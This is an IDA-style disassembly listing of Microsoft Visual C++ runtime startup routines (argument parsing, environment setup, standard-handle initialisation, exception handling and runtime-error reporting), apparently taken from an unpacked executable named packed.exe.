

loc_41D25D:				; CODE XREF: sub_41D24F+7j
		push	esi
		mov	esi, ds:dword_4CA70C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41D28F


loc_41D26A:				; CODE XREF: sub_41D24F+33j
					; sub_41D24F+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41D287
		test	al, al
		jz	short loc_41D287
		movzx	eax, al
		push	eax
		call	sub_41F13C
		test	eax, eax
		pop	ecx
		jz	short loc_41D26A
		inc	esi
		jmp	short loc_41D26A
; ---------------------------------------------------------------------------


loc_41D287:				; CODE XREF: sub_41D24F+21j
					; sub_41D24F+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41D299


loc_41D28C:				; CODE XREF: sub_41D24F+52j
		inc	esi
		jmp	short loc_41D299
; ---------------------------------------------------------------------------


loc_41D28F:				; CODE XREF: sub_41D24F+19j
		cmp	al, 20h
		jbe	short loc_41D299


loc_41D293:				; CODE XREF: sub_41D24F+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41D293


loc_41D299:				; CODE XREF: sub_41D24F+3Bj
					; sub_41D24F+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41D2A3
		cmp	al, 20h
		jbe	short loc_41D28C


loc_41D2A3:				; CODE XREF: sub_41D24F+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41D24F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2A7	proc near		; CODE XREF: _0:00417D92p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4CA714, ebx
		push	esi
		push	edi
		jnz	short loc_41D2B9
		call	sub_41CE11


loc_41D2B9:				; CODE XREF: sub_41D2A7+Bj
		mov	esi, ds:dword_4C90D0
		xor	edi, edi


loc_41D2C1:				; CODE XREF: sub_41D2A7+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41D2D9
		cmp	al, 3Dh
		jz	short loc_41D2CC
		inc	edi


loc_41D2CC:				; CODE XREF: sub_41D2A7+22j
		push	esi
		call	sub_415C80
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41D2C1
; ---------------------------------------------------------------------------


loc_41D2D9:				; CODE XREF: sub_41D2A7+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_4C90AC, esi
		jnz	short loc_41D2FB
		push	9
		call	sub_417DFA
		pop	ecx


loc_41D2FB:				; CODE XREF: sub_41D2A7+4Aj
		mov	edi, ds:dword_4C90D0
		cmp	[edi], bl
		jz	short loc_41D33E
		push	ebp


loc_41D306:				; CODE XREF: sub_41D2A7+94j
		push	edi
		call	sub_415C80
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41D337
		push	ebp
		call	sub_415D2F
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41D32A
		push	9
		call	sub_417DFA
		pop	ecx


loc_41D32A:				; CODE XREF: sub_41D2A7+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415B90
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41D337:				; CODE XREF: sub_41D2A7+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41D306
		pop	ebp


loc_41D33E:				; CODE XREF: sub_41D2A7+5Cj
		push	ds:dword_4C90D0
		call	sub_415DE1
		pop	ecx
		mov	ds:dword_4C90D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_4CA710, 1
		pop	ebx
		retn
sub_41D2A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D360	proc near		; CODE XREF: _0:00417D8Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4CA714, ebx
		push	esi
		push	edi
		jnz	short loc_41D377
		call	sub_41CE11


loc_41D377:				; CODE XREF: sub_41D360+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:off_422060
		mov	eax, ds:dword_4CA70C
		mov	ds:off_4C90BC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41D39C
		mov	edi, eax


loc_41D39C:				; CODE XREF: sub_41D360+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41D3F9
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415D2F
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41D3CC
		push	8
		call	sub_417DFA
		pop	ecx


loc_41D3CC:				; CODE XREF: sub_41D360+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41D3F9
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_4C90A4, esi
		pop	edi
		pop	esi
		mov	ds:dword_4C90A0, eax
		pop	ebx
		leave
		retn
sub_41D360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3F9	proc near		; CODE XREF: sub_41D360+47p
					; sub_41D360+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41D423
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D423:				; CODE XREF: sub_41D3F9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D46C


loc_41D428:				; CODE XREF: sub_41D3F9+58j
					; sub_41D3F9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41D45A
		test	dl, dl
		jz	short loc_41D45A
		movzx	edx, dl
		test	ds:byte_4CA5E1[edx], 4
		jz	short loc_41D44D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D44D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41D44D:				; CODE XREF: sub_41D3F9+46j
					; sub_41D3F9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D428
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D428
; ---------------------------------------------------------------------------


loc_41D45A:				; CODE XREF: sub_41D3F9+36j
					; sub_41D3F9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D464
		and	byte ptr [esi],	0
		inc	esi


loc_41D464:				; CODE XREF: sub_41D3F9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D4AF
		inc	eax
		jmp	short loc_41D4AF
; ---------------------------------------------------------------------------


loc_41D46C:				; CODE XREF: sub_41D3F9+2Dj
					; sub_41D3F9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D477
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41D477:				; CODE XREF: sub_41D3F9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_4CA5E1[ebx], 4
		jz	short loc_41D492
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D491
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41D491:				; CODE XREF: sub_41D3F9+91j
		inc	eax


loc_41D492:				; CODE XREF: sub_41D3F9+8Bj
		cmp	dl, 20h
		jz	short loc_41D4A0
		test	dl, dl
		jz	short loc_41D4A4
		cmp	dl, 9
		jnz	short loc_41D46C


loc_41D4A0:				; CODE XREF: sub_41D3F9+9Cj
		test	dl, dl
		jnz	short loc_41D4A7


loc_41D4A4:				; CODE XREF: sub_41D3F9+A0j
		dec	eax
		jmp	short loc_41D4AF
; ---------------------------------------------------------------------------


loc_41D4A7:				; CODE XREF: sub_41D3F9+A9j
		test	esi, esi
		jz	short loc_41D4AF
		and	byte ptr [esi-1], 0


loc_41D4AF:				; CODE XREF: sub_41D3F9+6Ej
					; sub_41D3F9+71j ...
		and	[ebp+arg_10], 0


loc_41D4B3:				; CODE XREF: sub_41D3F9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41D59C


loc_41D4BC:				; CODE XREF: sub_41D3F9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41D4C8
		cmp	dl, 9
		jnz	short loc_41D4CB


loc_41D4C8:				; CODE XREF: sub_41D3F9+C8j
		inc	eax
		jmp	short loc_41D4BC
; ---------------------------------------------------------------------------


loc_41D4CB:				; CODE XREF: sub_41D3F9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41D59C
		test	edi, edi
		jz	short loc_41D4E0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D4E0:				; CODE XREF: sub_41D3F9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41D4E5:				; CODE XREF: sub_41D3F9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41D4EE:				; CODE XREF: sub_41D3F9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41D4F7
		inc	eax
		inc	ebx
		jmp	short loc_41D4EE
; ---------------------------------------------------------------------------


loc_41D4F7:				; CODE XREF: sub_41D3F9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D528
		test	bl, 1
		jnz	short loc_41D526
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41D515
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41D515
		mov	eax, edx
		jmp	short loc_41D518
; ---------------------------------------------------------------------------


loc_41D515:				; CODE XREF: sub_41D3F9+10Dj
					; sub_41D3F9+116j
		mov	[ebp+arg_0], edi


loc_41D518:				; CODE XREF: sub_41D3F9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41D526:				; CODE XREF: sub_41D3F9+106j
		shr	ebx, 1


loc_41D528:				; CODE XREF: sub_41D3F9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41D53D
		inc	ebx


loc_41D530:				; CODE XREF: sub_41D3F9+142j
		test	esi, esi
		jz	short loc_41D538
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41D538:				; CODE XREF: sub_41D3F9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41D530


loc_41D53D:				; CODE XREF: sub_41D3F9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41D58D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41D553
		cmp	dl, 20h
		jz	short loc_41D58D
		cmp	dl, 9
		jz	short loc_41D58D


loc_41D553:				; CODE XREF: sub_41D3F9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41D587
		test	esi, esi
		jz	short loc_41D576
		movzx	ebx, dl
		test	ds:byte_4CA5E1[ebx], 4
		jz	short loc_41D56F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41D56F:				; CODE XREF: sub_41D3F9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D585
; ---------------------------------------------------------------------------


loc_41D576:				; CODE XREF: sub_41D3F9+162j
		movzx	edx, dl
		test	ds:byte_4CA5E1[edx], 4
		jz	short loc_41D585
		inc	eax
		inc	dword ptr [ecx]


loc_41D585:				; CODE XREF: sub_41D3F9+17Bj
					; sub_41D3F9+187j
		inc	dword ptr [ecx]


loc_41D587:				; CODE XREF: sub_41D3F9+15Ej
		inc	eax
		jmp	loc_41D4E5
; ---------------------------------------------------------------------------


loc_41D58D:				; CODE XREF: sub_41D3F9+148j
					; sub_41D3F9+153j ...
		test	esi, esi
		jz	short loc_41D595
		and	byte ptr [esi],	0
		inc	esi


loc_41D595:				; CODE XREF: sub_41D3F9+196j
		inc	dword ptr [ecx]
		jmp	loc_41D4B3
; ---------------------------------------------------------------------------


loc_41D59C:				; CODE XREF: sub_41D3F9+BDj
					; sub_41D3F9+D5j
		test	edi, edi
		jz	short loc_41D5A3
		and	dword ptr [edi], 0


loc_41D5A3:				; CODE XREF: sub_41D3F9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41D3F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5AD	proc near		; CODE XREF: _0:00417D83p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4C9240
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42203C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41D5FB
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41D5DC
		mov	ds:dword_4C9240, 1
		jmp	short loc_41D604
; ---------------------------------------------------------------------------


loc_41D5DC:				; CODE XREF: sub_41D5AD+21j
		call	ds:dword_422040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D6D6
		mov	ds:dword_4C9240, 2
		jmp	loc_41D68A
; ---------------------------------------------------------------------------


loc_41D5FB:				; CODE XREF: sub_41D5AD+19j
		cmp	eax, 1
		jnz	loc_41D685


loc_41D604:				; CODE XREF: sub_41D5AD+2Dj
		cmp	esi, ebx
		jnz	short loc_41D614
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D6D6


loc_41D614:				; CODE XREF: sub_41D5AD+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41D629


loc_41D61B:				; CODE XREF: sub_41D5AD+73j
					; sub_41D5AD+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D61B
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D61B


loc_41D629:				; CODE XREF: sub_41D5AD+6Cj
		sub	eax, esi
		mov	edi, ds:dword_422130
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41D67A
		push	ebp
		call	sub_415D2F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41D67A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41D676
		push	[esp+18h+var_8]
		call	sub_415DE1
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41D676:				; CODE XREF: sub_41D5AD+B9j
		mov	ebx, [esp+18h+var_8]


loc_41D67A:				; CODE XREF: sub_41D5AD+99j
					; sub_41D5AD+A8j
		push	esi
		call	ds:dword_4221C8	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41D6D8
; ---------------------------------------------------------------------------


loc_41D685:				; CODE XREF: sub_41D5AD+51j
		cmp	eax, 2
		jnz	short loc_41D6D6


loc_41D68A:				; CODE XREF: sub_41D5AD+49j
		cmp	edi, ebx
		jnz	short loc_41D69A
		call	ds:dword_422040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D6D6


loc_41D69A:				; CODE XREF: sub_41D5AD+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D6AA


loc_41D6A0:				; CODE XREF: sub_41D5AD+F6j
					; sub_41D5AD+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D6A0
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D6A0


loc_41D6AA:				; CODE XREF: sub_41D5AD+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D6C0
		xor	esi, esi
		jmp	short loc_41D6CB
; ---------------------------------------------------------------------------


loc_41D6C0:				; CODE XREF: sub_41D5AD+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_415560
		add	esp, 0Ch


loc_41D6CB:				; CODE XREF: sub_41D5AD+111j
		push	edi
		call	ds:dword_4221C4	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41D6D8
; ---------------------------------------------------------------------------


loc_41D6D6:				; CODE XREF: sub_41D5AD+39j
					; sub_41D5AD+61j ...
		xor	eax, eax


loc_41D6D8:				; CODE XREF: sub_41D5AD+D6j
					; sub_41D5AD+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41D5AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6DF	proc near		; CODE XREF: _0:00417D73p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D6FF
		push	1Bh
		call	sub_417DFA
		pop	ecx


loc_41D6FF:				; CODE XREF: sub_41D6DF+16j
		mov	ds:dword_4CA3C0, esi
		mov	ds:dword_4CA4C0, 20h
		lea	eax, [esi+100h]


loc_41D715:				; CODE XREF: sub_41D6DF+52j
		cmp	esi, eax
		jnb	short loc_41D733
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_4CA3C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D715
; ---------------------------------------------------------------------------


loc_41D733:				; CODE XREF: sub_41D6DF+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_422180	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41D80F
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41D80F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D769
		mov	esi, eax


loc_41D769:				; CODE XREF: sub_41D6DF+86j
		cmp	ds:dword_4CA4C0, esi
		jge	short loc_41D7C3
		mov	edi, offset dword_4CA3C4


loc_41D776:				; CODE XREF: sub_41D6DF+DAj
		push	100h
		call	sub_415D2F
		test	eax, eax
		pop	ecx
		jz	short loc_41D7BD
		add	ds:dword_4CA4C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D794:				; CODE XREF: sub_41D6DF+CFj
		cmp	eax, ecx
		jnb	short loc_41D7B0
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D7B0:				; CODE XREF: sub_41D6DF+B7j
		add	edi, 4
		cmp	ds:dword_4CA4C0, esi
		jl	short loc_41D776
		jmp	short loc_41D7C3
; ---------------------------------------------------------------------------


loc_41D7BD:				; CODE XREF: sub_41D6DF+A4j
		mov	esi, ds:dword_4CA4C0


loc_41D7C3:				; CODE XREF: sub_41D6DF+90j
					; sub_41D6DF+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D80F


loc_41D7C9:				; CODE XREF: sub_41D6DF+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D806
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D806
		test	cl, 8
		jnz	short loc_41D7E8
		push	eax
		call	ds:dword_422030	; GetFileType
		test	eax, eax
		jz	short loc_41D806


loc_41D7E8:				; CODE XREF: sub_41D6DF+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4CA3C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D806:				; CODE XREF: sub_41D6DF+EFj
					; sub_41D6DF+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D7C9


loc_41D80F:				; CODE XREF: sub_41D6DF+65j
					; sub_41D6DF+71j ...
		xor	ebx, ebx


loc_41D811:				; CODE XREF: sub_41D6DF+195j
		mov	eax, ds:dword_4CA3C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D86C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D82C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D836
; ---------------------------------------------------------------------------


loc_41D82C:				; CODE XREF: sub_41D6DF+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D836:				; CODE XREF: sub_41D6DF+14Bj
		push	eax
		call	ds:dword_422034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D85B
		push	edi
		call	ds:dword_422030	; GetFileType
		test	eax, eax
		jz	short loc_41D85B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D861


loc_41D85B:				; CODE XREF: sub_41D6DF+163j
					; sub_41D6DF+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D870
; ---------------------------------------------------------------------------


loc_41D861:				; CODE XREF: sub_41D6DF+17Aj
		cmp	eax, 3
		jnz	short loc_41D870
		or	byte ptr [esi+4], 8
		jmp	short loc_41D870
; ---------------------------------------------------------------------------


loc_41D86C:				; CODE XREF: sub_41D6DF+13Ej
		or	byte ptr [esi+4], 80h


loc_41D870:				; CODE XREF: sub_41D6DF+180j
					; sub_41D6DF+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D811
		push	ds:dword_4CA4C0
		call	ds:dword_422038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41D6DF	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D894	proc near		; DATA XREF: _0:00417D0Eo
					; sub_41B111+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D934
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D8C7:				; CODE XREF: sub_41D894+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D92D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D91B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D91B
		js	short loc_41D926
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416348
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41638A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41641E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D91B:				; CODE XREF: sub_41D894+40j
					; sub_41D894+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D8C7
; ---------------------------------------------------------------------------


loc_41D926:				; CODE XREF: sub_41D894+54j
		mov	eax, 0
		jmp	short loc_41D949
; ---------------------------------------------------------------------------


loc_41D92D:				; CODE XREF: sub_41D894+36j
		mov	eax, 1
		jmp	short loc_41D949
; ---------------------------------------------------------------------------


loc_41D934:				; CODE XREF: sub_41D894+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41638A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D949:				; CODE XREF: sub_41D894+97j
					; sub_41D894+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D894	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41638A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D96C	proc near		; CODE XREF: sub_417DFA+9p
					; sub_417E1F+9p
		mov	eax, ds:dword_4C90D8
		cmp	eax, 1
		jz	short loc_41D983
		test	eax, eax
		jnz	short locret_41D9A4
		cmp	ds:dword_42F354, 1
		jnz	short locret_41D9A4


loc_41D983:				; CODE XREF: sub_41D96C+8j
		push	0FCh
		call	sub_41D9A5
		mov	eax, ds:dword_4C9244
		pop	ecx
		test	eax, eax
		jz	short loc_41D999
		call	eax


loc_41D999:				; CODE XREF: sub_41D96C+29j
		push	0FFh
		call	sub_41D9A5
		pop	ecx

locret_41D9A4:				; CODE XREF: sub_41D96C+Cj
					; sub_41D96C+15j
		retn
sub_41D96C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9A5	proc near		; CODE XREF: sub_417DFA+12p
					; sub_417E1F+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4319E8


loc_41D9B8:				; CODE XREF: sub_41D9A5+20j
		cmp	edx, [eax]
		jz	short loc_41D9C7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_431A78
		jl	short loc_41D9B8


loc_41D9C7:				; CODE XREF: sub_41D9A5+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_4319E8[esi]
		jnz	loc_41DAF5
		mov	eax, ds:dword_4C90D8
		cmp	eax, 1
		jz	loc_41DACF
		test	eax, eax
		jnz	short loc_41D9F8
		cmp	ds:dword_42F354, 1
		jz	loc_41DACF


loc_41D9F8:				; CODE XREF: sub_41D9A5+44j
		cmp	edx, 0FCh
		jz	loc_41DAF5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:off_422060
		test	eax, eax
		jnz	short loc_41DA2F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415B90
		pop	ecx
		pop	ecx


loc_41DA2F:				; CODE XREF: sub_41D9A5+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415C80
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41DA72
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415C80
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D30
		add	esp, 10h


loc_41DA72:				; CODE XREF: sub_41D9A5+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415B90
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415BA0
		lea	eax, [ebp+var_A0]
		push	offset asc_422B90 ; "\n\n"
		push	eax
		call	sub_415BA0
		push	ds:off_4319EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415BA0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41F17E
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41DAF5
; ---------------------------------------------------------------------------


loc_41DACF:				; CODE XREF: sub_41D9A5+3Cj
					; sub_41D9A5+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4319EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415C80
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_422034	; GetStdHandle
		push	eax
		call	ds:dword_4220B0	; WriteFile


